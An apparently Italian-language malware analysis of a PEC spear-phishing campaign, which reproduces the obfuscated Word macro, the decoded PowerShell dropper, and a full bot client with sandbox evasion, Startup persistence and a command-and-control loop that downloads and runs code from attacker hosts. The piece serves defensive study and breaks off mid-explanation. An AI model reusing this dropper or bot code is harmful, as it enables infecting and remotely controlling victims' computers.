Il malware si diffonde attraverso email di “Spear Phishing” inviata tramite PEC (Posta Elettronica Certificata). Sfruttando questo canale di comunicazione l’utente finale è indotto a dare maggiore affidabilità e credibilità al messaggio che gli viene recapitato non curandosi particolarmente della validità dello stesso. Il messaggio di posta elettronica recapitato è come quello che riportiamo di seguito:
Il messaggio di posta elettronica avvisa l’utente dell’avvenuto pagamento il cui bonifico è allegato al messaggio di posta elettronica. L’allegato si presenta come un documento Word che nel nostro caso risulta essere “Tribunale_di_Napoli__Procedura_esecutiva_immobiliare_xxxx”. Annidato all’interno del documento è presente del codice attivo (macro) che viene eseguito all’apertura del documento: l’utente viene avvisato che per poter accedere al documento stesso è necessario “Abilitare” il contenuto per questioni di compatibilità tra versioni di Microsoft Word. Il messaggio che l’utente si trova di fronte è il seguente:
Quando l’utente clicca su “Abilita contenuto”, Word esegue immediatamente il codice annidato al suo interno, che di seguito abbiamo analizzato.
Come abbiamo riportato in precedenza, il documento word allegato al messaggio di posta elettronica certificata contiene del codice nascosto all’utente, ovvero una Macro. Il codice rinvenuto al suo interno, che riportiamo solo in parte, è il seguente:
iwufi dzcvt, txezey
tgciyzw = Array(154, 174, 220, 216, 235, 147, 151)
iwufi tgciyzw, txezey
ystcde = Array(231, 219, 215, 233, 218, 174, 198)
iwufi ystcde, txezey
wvtgbcz = Array(231, 212, 229, 231, 160, 195, 229)
iwufi wvtgbcz, txezey
azxejgb = Array(226, 214, 216, 230, 230, 147)
iwufi azxejgb, txezey
gxvyt = Array(151)
iwufi gxvyt, txezey
btjjeg = Array(216, 221, 216, 214, 231, 236, 174)
iwufi btjjeg, txezey
CreateObject(“WScript.Shell”).Run txezey
End Sub
Function bxtdxt(aijihff)
bxtdxt = aijihff – 115
End Function
Sub iwufi(a, txezey)
For Each x In a
If Len(x) Then
txezey = txezey + Chr(bxtdxt(x))
End If
Next
End Sub
Il codice sviluppato in VB6 è offuscato (testo riportato in rosso) in modo tale da non essere identificato e rilevato dai sistemi antimalware. Il codice riportato in verde recupera le informazioni offuscate costruendo dinamicamente il vero comando da eseguire, che una volta de-offuscato è il seguente:
powershell -WindowStyle Hidden -Command if( (Get-UICulture).Name -match ‘RU|UA|BY|CN’){ exit; };$etdtffd = [System.IO.Path]::GetTempPath();$ejecty = Join-Path $etdtffd ‘AdobeAR.exe’;$cwexfs=’hxxp://cloud.chachobills.com/501?vxjgz’;$gjaihi = Join-Path $etdtffd ‘SearchI32.js’;$wivwh=’hxxp://ami.regroups.net/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php?vid=pecdoc’;$wbdffbc='(ND3RTy99ew-Object D3RTy99NeD3RTy99t.WebD3RTy99ClienD3RTy99t).DownloadFiD3RTy99le($wiD3RTy99vwhD3RTy99,D3RTy99$gjaihiD3RTy99);’ -replace ‘D3RTy99′,”;iex $wbdffbc;Start-Process $gjaihi;$thdvg='(New-ObjBSSR9xDeBSSR9xDct BSSR9xDNBSSR9xDeBSSR9xDt.BSSR9xDWebClBSSR9xDient).BSSR9xDDownloadBSSR9xDFBSSR9xDiBSSR9xDlBSSR9xDe($cweBSSR9xDxfs,$eBSSR9xDjecty)BSSR9xD;’ -replace ‘BSSR9xD’,”;iex $thdvg;Start-Process $ejecty
Semplificando il codice ed estraendo le informazioni chiave scopriamo che la macro contenuta nel documento Word esegue un comando “powershell” che analizzato e decifrato ulteriormente esegue le seguenti operazioni:
1) Scarica ed esegue dall’URL hxxp://cloud.chachobills.com/501?vxjgz il file AdobeAR.exe
2) Scarica ed esegue dall’URL hxxp://ami.regroups.net/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php?vid=pecdoc il file SearchI32.js.
Entrambi i file vengono scaricati nella cartella temporanea del profilo utente. Il primo file risulta essere un eseguibile mentre il secondo è un file di testo contenente codice powershell. Gli hash dei due file sono rispettivamente:
fef4949bda7f15963c0eee51fa9c6aea
5af648687c2f145242cb6ad30f1f1278
Uno dei file scaricati dal “dropper” (codice che ha scaricato i due file malevoli) è come abbiamo visto il file SearchI32.js. Il contenuto del file risulta essere nuovamente offuscato, quindi non direttamente comprensibile senza svolgere le necessarie azioni di de-offuscamento. Riportiamo parte del codice rinvenuto sul file Search32.js:
shgyaccyaiuzfbyjghcasitsd.push(“6”);
shgyaccyaiuzfbyjghcasitsd.push(“xQavu5w74xVBuv”);
shgyaccyaiuzfbyjghcasitsd.push(“Qh58”);
shgyaccyaiuzfbyjghcasitsd.push(“”);
shgyaccyaiuzfbyjghcasitsd.push(“xThu74y”);
shgyaccyaiuzfbyjghcasitsd.push(“2uzT28wRc7VTCEBi”);
shgyaccyaiuzfbyjghcasitsd.push(“VE23”);
shgyaccyaiuzfbyjghcasitsd.push(“c737wR”);
shgyaccyaiuzfbyjghcasitsd.push(“xWt”);
shgyaccyaiuzfbyjghcasitsd.push(“6QTtV”);
shgyaccyaiuzfbyjghcasitsd.push(“A5W4x6B9w2”);
shgyaccyaiuzfbyjghcasitsd.push(“hRxtCRWu5463BwjSy”);
shgyaccyaiuzfbyjghcasitsd.push(“V9zzEva”);
shgyaccyaiuzfbyjghcasitsd.push(“QVsw2WR8zg8Ry8uxh5R9QE3zzQW73C\”BtAxzt 5Dy3Va SDTW”);
shgyaccyaiuzfbyjghcasitsd.push(“8 y”);
shgyaccyaiuzfbyjghcasitsd.push(“uy4B”);
var a = 12793 – 7069 – 3789 – 1928;
var b = “”;
eval(“zxvggyhfybgbsiewguvfid=axvggyhfybgbsiewguvfid”.replace(/(xvggyhfybgbsiewguvfid)+/gi,””));
var c = shgyaccyaiuzfbyjghcasitsd.join(jvfuxyixhbtytdavh).split(“”);
for( var x = 0; x < c.length; x++){
if( z == 14407 – 4837 – 4157 – 5406 ){
b += c[x];
a = 0;
a ++;
eval(“zxvggyhfybgbsiewguvfid=axvggyhfybgbsiewguvfid”.replace(/(xvggyhfybgbsiewguvfid)+/gi,””));
eval( b );
Utilizzando le opportune tecniche di de-offuscamento, è possibile estrarre scoprire il reale comportamento e le operazioni svolte del file malevolo. Analizzando il codice de-offuscato otteniamo ancora una volta codice “powershell”, che è il seguente:
if( (Get-UICulture).Name -match ‘RU|UA|BY|CN’ ){ exit;
};
$siffhcizhbu = [System.IO.Path]::GetTempPath();
$jubgfzjjcfiahtjciezwzv = Join-Path $siffhcizhbu ‘SearchI32.txt’ ;
$iywau=’http://green.datota.it/cryptbody2.php’;
$aifewdj = Join-Path $siffhcizhbu ‘SearchI32.js’ ;
$zvzafasjzchzhayv=’http://green.datota.it/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php’;
$ddveay = ” ;
$eafytgzeh='(RWSVRtBNew-RWSVRtBORWSVRtBbRWSVRtBject NRWSVRtBetRWSVRtB.WRWSVRtBeRWSVRtBbCliRWSVRtBent)RWSVRtB.DownRWSVRtBloaRWSVRtBdRWSVRtBFile($iyRWSVRtBwRWSVRtBaRWSVRtBu,$jubgfRWSVRtBzjRWSVRtBjRWSVRtBcfRWSVRtBiahtRWSVRtBjcieRWSVRtBzRWSVRtBwzRWSVRtBvRWSVRtB)RWSVRtB;
‘ -replace ‘RWSVRtB’ ,”;
iex $eafytgzeh;
$hcuyjuxcuhw='(New-ObAESWDRQjAESWDRQectAESWDRQ NeAESWDRQt.WeAESWDRQbCAESWDRQlieAESWDRQnt).AESWDRQDAESWDRQowAESWDRQnloAESWDRQadFAESWDRQile($zvzAESWDRQaAESWDRQfasAESWDRQjzchzhayAESWDRQvAESWDRQ,$aifewAESWDRQdj);
‘ -replace ‘AESWDRQ’ ,”;
iex $hcuyjuxcuhw;
Get-Content $jubgfzjjcfiahtjciezwzv | Where-Object {$_ -match $regex} | ForEach-Object { $ddveay += $_ -replace ‘..(.)’ ,’$1′};
iex $ddveay;
E’ interessante notare, come mediante questa riga di codice “if( (Get-UICulture).Name -match ‘RU|UA|BY|CN’ ){ exit;};” il malware verifichi la lingua con cui è settata la “user interface” dell’utente, chiudendosi subito senza svolgere alcuna operazione quando la lingua rilevata è “RU, UA,BY,CN ”. Procedendo con l’analisi, scopriamo che ancora una volta che il codice scarica altro codice offuscato dai seguenti URL:
1) http://green.datota.it/cryptbody2.php
2) http://green.datota.it/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php
Il primo scarica nella cartella temporanea dell’utente il contenuto della pagina PHP in un file di testo con nome “SearchI32.txt” il cui contenuto è anche in questo caso completamente offuscato. Dal secondo URL i
invece il codice malevolo scarica nuovamente il file “SearchI32.js” (lo stesso descritto in precedenza) facendo quindi un’ulteriore copia di sé stesso.
Analisi del file cifrato SearchI32.txt
A questo punto, il malware ha scaricato sul profilo utente tre file: un nuovo file completamente cifrato con nome “SearchI32.txt” avente hash MD5 44ba86769022732d6862374e49b60be7, il file eseguibile “AdobeAR.exe” e il file “SearchI32.js”.
Per poter decifrare il nuovo file “SearchI32.txt” è stato necessario studiare nuovamente il contenuto precedentemente de-offuscato del file “SearchI32.js”. Osserviamo questa riga di codice:
Get-Content $jubgfzjjcfiahtjciezwzv | Where-Object {$_ -match $regex} | ForEach-Object { $ddveay += $_ -replace ‘..(.)’ ,’$1′};
Sintetizzando, è evidente come il malware decifra il contenuto della variabile “$jubgfzjjcfiahtjciezwzv” mettendone il risultato nella variabile $ddveay. Sappiamo che la variabile “$jubgfzjjcfiahtjciezwzv” contiene il testo cifrato del file “SearchI32.txt” quindi, stampando la variabile $ddveay otteniamo il i codice de-offuscato:
if( (Get-UICulture).Name -match ‘RU|UA|BY|CN’ -or (Get-WmiObject -class Win32_ComputerSystem -Property Model).Model -match ‘VMware’ ){ exit; }
Function CreateShortcut( $lnk, $Arguments, $WorkingDirectory ){
try{
$Shell = New-Object -ComObject (‘WScript.Shell’);
$ShortCut = $Shell.CreateShortcut( $lnk );
$ShortCut.Arguments= $Arguments;
$ShortCut.TargetPath = ‘cscript.exe’;
$ShortCut.WorkingDirectory = $WorkingDirectory;
$ShortCut.WindowStyle = 1;
$ShortCut.Description = ‘Windows Indexing Service’;
$ShortCut.Save();
Return ‘CreateShortcut -> ok’;
}catch{
Return ‘CreateShortcut -> fail’;
}
}
Function CreateID {
$a = ”;
try{
$a = (Get-WmiObject -class Win32_ComputerSystem -Property Name).Name.trim() + ‘_’;
}catch{
$a = ‘OMG_’;
}
try{
$a += (Get-WmiObject -class Win32_ComputerSystem -Property Model).Model.trim() + ‘_’;
}catch{
$a += ‘OMG_’;
}
try{
foreach ($disk in (gwmi win32_diskdrive)) {
$a += [convert]::tostring($disk.signature, 16);
}
}catch{
$a += ‘0000000’;
}
Return $a;
}
$ver = “328.1”;
$url_adm = ‘http://green.datota.it/’;
$bot_id = CreateID;
try{
$bot_os = [string]$PSVersionTable.BuildVersion;
}catch{
$bot_os = “undefined”;
}
$timeout = 210;
$logs = @([string]( $(get-date) ));
$psver = ( (Get-Host).Version ).Major;
$my_dir = [System.IO.Path]::GetTempPath();
$ldr = ‘SearchI32’;
$stop_id = Join-Path $my_dir ‘1’;
$exe_file = Join-Path $my_dir ‘SearchI32.exe’;
$ldr_file = Join-Path $my_dir ‘SearchI32.txt’;
$JS_file = Join-Path $my_dir ‘SearchI32.js’;
$runfile = Join-Path $my_dir ‘SearchI32.tmp’;
$lnk = [Environment]::GetFolderPath(‘Startup’) + ‘\Windows Indexing Service ‘+$ldr+’.lnk’;
if( test-path -path $runfile ){
if ( ($(Get-Date) – $(Get-Item -path $runfile).LastWriteTime).TotalSeconds -lt ($timeout * 3) ){
Start-Sleep -Seconds (3 * $timeout + 10 );
Start-Process $JS_file;
exit;
}
}
if( ![System.IO.File]::Exists( $lnk ) ){
$logs += CreateShortcut $lnk $JS_file $my_dir;
}else{
$logs += $lnk;
}
$req = New-Object System.Net.WebClient;
$req.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
$req.QueryString.Add(‘b’, $bot_id );
$req.QueryString.Add(‘os’, $bot_os );
$req.QueryString.Add(‘v’, $ver );
$req.QueryString.Add(‘psver’, $psver );
if( test-path -path $stop_id ){
rename-item -path $stop_id ‘test’;
}
$count = 0;
while ($count -le 1) {
Get-Date | out-file $runfile;
if ( test-path -path $stop_id ){
$count = 2;
exit;
}else{
try{
$action = $req.DownloadString( $url_adm ).Split(‘|’);
}catch{
$action = ‘w|’.Split(‘|’);
}
switch ( $action[0] ) {
‘m1’ {
try{
iex -Command $req.DownloadString( $action[1] );
}catch{}
break;
}
‘m’ {
try{
$req.DownloadString( $action[1] ).Split(‘|’) | foreach { iex -Command $req.DownloadString( $_); };
}catch{}
break;
}
‘u’ {
try{
try{ Remove-Item -Path $runfile; }catch{}
$req.DownloadFile($action[1], $ldr_file );
$req.DownloadFile($action[2], $JS_file );
$count = 2;
Start-Sleep -Seconds $timeout;
Start-Process $JS_file;
exit;
}catch{
Start-Sleep -Seconds $timeout;
}
break;
}
default{
Start-Sleep -Seconds $timeout;
break;
}
}
}
}
Analizziamo ora alcuni aspetti interessanti del codice appena decriptato.
La prima riga, esegue lo stesso controllo sulla lingua settata dall’utente precedentemente descritto oltre a verificare se il sistema in cui viene eseguito risulta essere un ambiente virtuale Vmware. È questo un controllo per cercare di evadere sistemi di sicurezza basati su sandbox.
Proseguendo con l’analisi del codice, scopriamo altri aspetti interessanti. Prima di tutto il malware impone la propria persistenza sul sistema compromesso, in modo tale da poter essere eseguito ad ogni riavvio del computer. Viene infatti creato un nuovo collegamento nel menu di avvio automatico dell’utente creando il link file “Windows Indexing Service SearchI32.lnk”, come riportato di seguito:
C:\Users\USER\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Indexing Service SearchI32.lnk.
L’aspetto più interessante tuttavia riguarda la natura del codice rinvenuto successivamente. Come dimostreremo di seguito, il codice appena decifrato risulta essere un “client Bot”, ovvero un malware che dialoga con un sistema centralizzato (detto anche Command and Controll) con l’obiettivo di eseguire comandi inviati da chi lo governa sul computer compromesso. Di seguito dimostreremo quanto appena affermato